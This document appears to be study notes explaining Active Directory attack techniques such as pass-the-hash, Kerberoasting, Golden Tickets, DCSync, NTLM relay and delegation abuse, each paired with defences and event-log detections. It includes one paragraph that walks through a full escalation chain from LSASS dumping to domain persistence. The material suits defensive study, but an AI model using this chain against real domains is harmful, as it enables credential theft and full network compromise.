Windows Active Directory — Attack & Defence

BloodHound models Active Directory as a directed graph where nodes are users, computers, and groups, and edges are relationships like "has admin rights on," "can reset the password of," or "has a session on." It collects this data via LDAP and session enumeration, then runs shortest-path queries from the principals an attacker controls to high-value targets like Domain Admin. The power is that AD admins historically saw permissions as a flat list, but BloodHound reveals the chains — a series of individually-minor misconfigurations that together form a path to full compromise. Defenders now use it too, for attack-path management — finding and cutting the edges that lead to Tier 0.

NTLM authentication proves knowledge of the password hash, not the plaintext — the hash is never reversed at auth time. So an attacker who extracts an NTLM hash from LSASS memory can authenticate as that user without ever cracking it, simply by passing the hash. Credential Guard mitigates this by using virtualization-based security to isolate LSASS secrets in a separate, hardened virtual environment that even SYSTEM-level malware on the host can't read. Since the attack depends on reading hashes out of LSASS, putting those secrets behind a hypervisor boundary removes the source. It doesn't stop everything — keyloggers, or hashes cached elsewhere — but it closes the primary LSASS-dumping path.

Any authenticated domain user can request a Kerberos service ticket for any service principal name, and that ticket is encrypted with the target service account's password hash. The attacker requests tickets for service accounts and cracks them offline at leisure — no failed logons, nothing noisy. The properties that make an account vulnerable: it has an SPN registered (so it's targetable), it has a weak human-set password (so it's crackable), and ideally it's privileged (so the payoff is high). RC4-encrypted tickets are especially crackable. Mitigations are long random passwords or group-managed service accounts with 120-character machine-rotated passwords, plus detecting abnormal volumes of RC4 TGS requests (event 4769).

A Golden Ticket is a forged TGT created with the krbtgt account's hash — since krbtgt signs all tickets in the domain, this lets the attacker mint a ticket for any user with any privileges, granting domain-wide access that persists until krbtgt is reset twice. A Silver Ticket is a forged service ticket created with a single service account's hash, scoped to just that one service — it's more limited but stealthier because it never contacts the domain controller, so there's no TGS request to detect. Mnemonic: Gold is the master key to the whole domain, Silver opens one specific door.

DCSync abuses the directory replication protocol (MS-DRSR). The attacker, from a host with sufficient rights, sends the real domain controller a replication request as if they were another DC, asking it to replicate account credentials — and the DC hands over the hashes, including krbtgt and every user. It requires the Get-Changes and Get-Changes-All replication permissions, which Domain Admins, Enterprise Admins, and DCs have by default, but which can also be delegated to a lower account — a common stealthy persistence trick. Detection: event 4662 showing a replication-rights object access originating from an IP that isn't a domain controller, since only real DCs should replicate.

NTLM has no mutual authentication and no binding of the auth to a specific session, so an attacker who captures an NTLM authentication — often by poisoning LLMNR/NBNS to coerce a victim to authenticate to them — can relay that authentication to a third service and get an authenticated session as the victim, without ever knowing the password or hash. SMB signing prevents the SMB case because it cryptographically signs each message with a key derived from the session; a relay attacker can pass the authentication but can't produce valid signatures for the relayed session, so the target rejects it. Enforcing SMB signing everywhere, plus disabling LLMNR/NBNS and using Extended Protection for Authentication, closes the common relay paths.

Protected Users is a security group that applies stronger authentication protections to its members: they can't authenticate with NTLM, can't use DES or RC4 Kerberos encryption, aren't subject to credential delegation, and their credentials aren't cached, plus their TGT lifetime is shortened. The effect is to drastically reduce the credential-theft and relay surface for high-value accounts — no NTLM hash to pass, no long-lived cached credentials on workstations, no delegation abuse. It's meant for privileged accounts like Domain Admins, and pairs with the tiered-administration model. The caveat is that placing service accounts in it can break things that depend on NTLM or delegation, so it's applied carefully.

First they establish local privilege and dump credentials from LSASS — local admin hashes, cached domain creds, any tokens or tickets in memory. They run BloodHound to map attack paths from what they now control. From there it's a chain: maybe the local admin password is shared across machines (no LAPS), so they pass-the-hash laterally to a server where a privileged user has a session, dump that session's token or TGT, and repeat — escalating toward Tier 0. Along the way they might Kerberoast a privileged service account, abuse an ACL like GenericAll on a group, or find unconstrained delegation and coerce a DC to authenticate to capture its TGT. The end states are usually DCSync to grab krbtgt, then a Golden Ticket for persistence. The defense is breaking those edges: LAPS, tiering, Credential Guard, and not letting DA credentials touch lower tiers.

Delegation lets a service act on a user's behalf to a back-end service. With unconstrained delegation, a machine receives and stores the user's full TGT, so it can impersonate them to anything — which is dangerous, because compromising that machine yields every TGT it has cached, and an attacker can coerce a DC to authenticate to it (PrinterBug) and capture the DC's TGT. Constrained delegation limits the service to impersonating users only to a specified list of target services, reducing the blast radius. There's also resource-based constrained delegation, which moves the trust configuration to the resource side. The key risk to flag is unconstrained delegation on a non-DC, which is effectively a path to domain compromise.

Look for event 4662 — an operation on a directory object — where the properties accessed include the replication rights, specifically DS-Replication-Get-Changes and DS-Replication-Get-Changes-All (identifiable by their control-access-right GUIDs). The critical filter is the source: legitimate replication only happens between domain controllers, so a 4662 replication event originating from any account or host that isn't a DC is the DCSync signal. You'd all-list the DC computer accounts and alert on anything else requesting replication. It's one of the highest-fidelity detections in AD because the legitimate baseline is so narrow.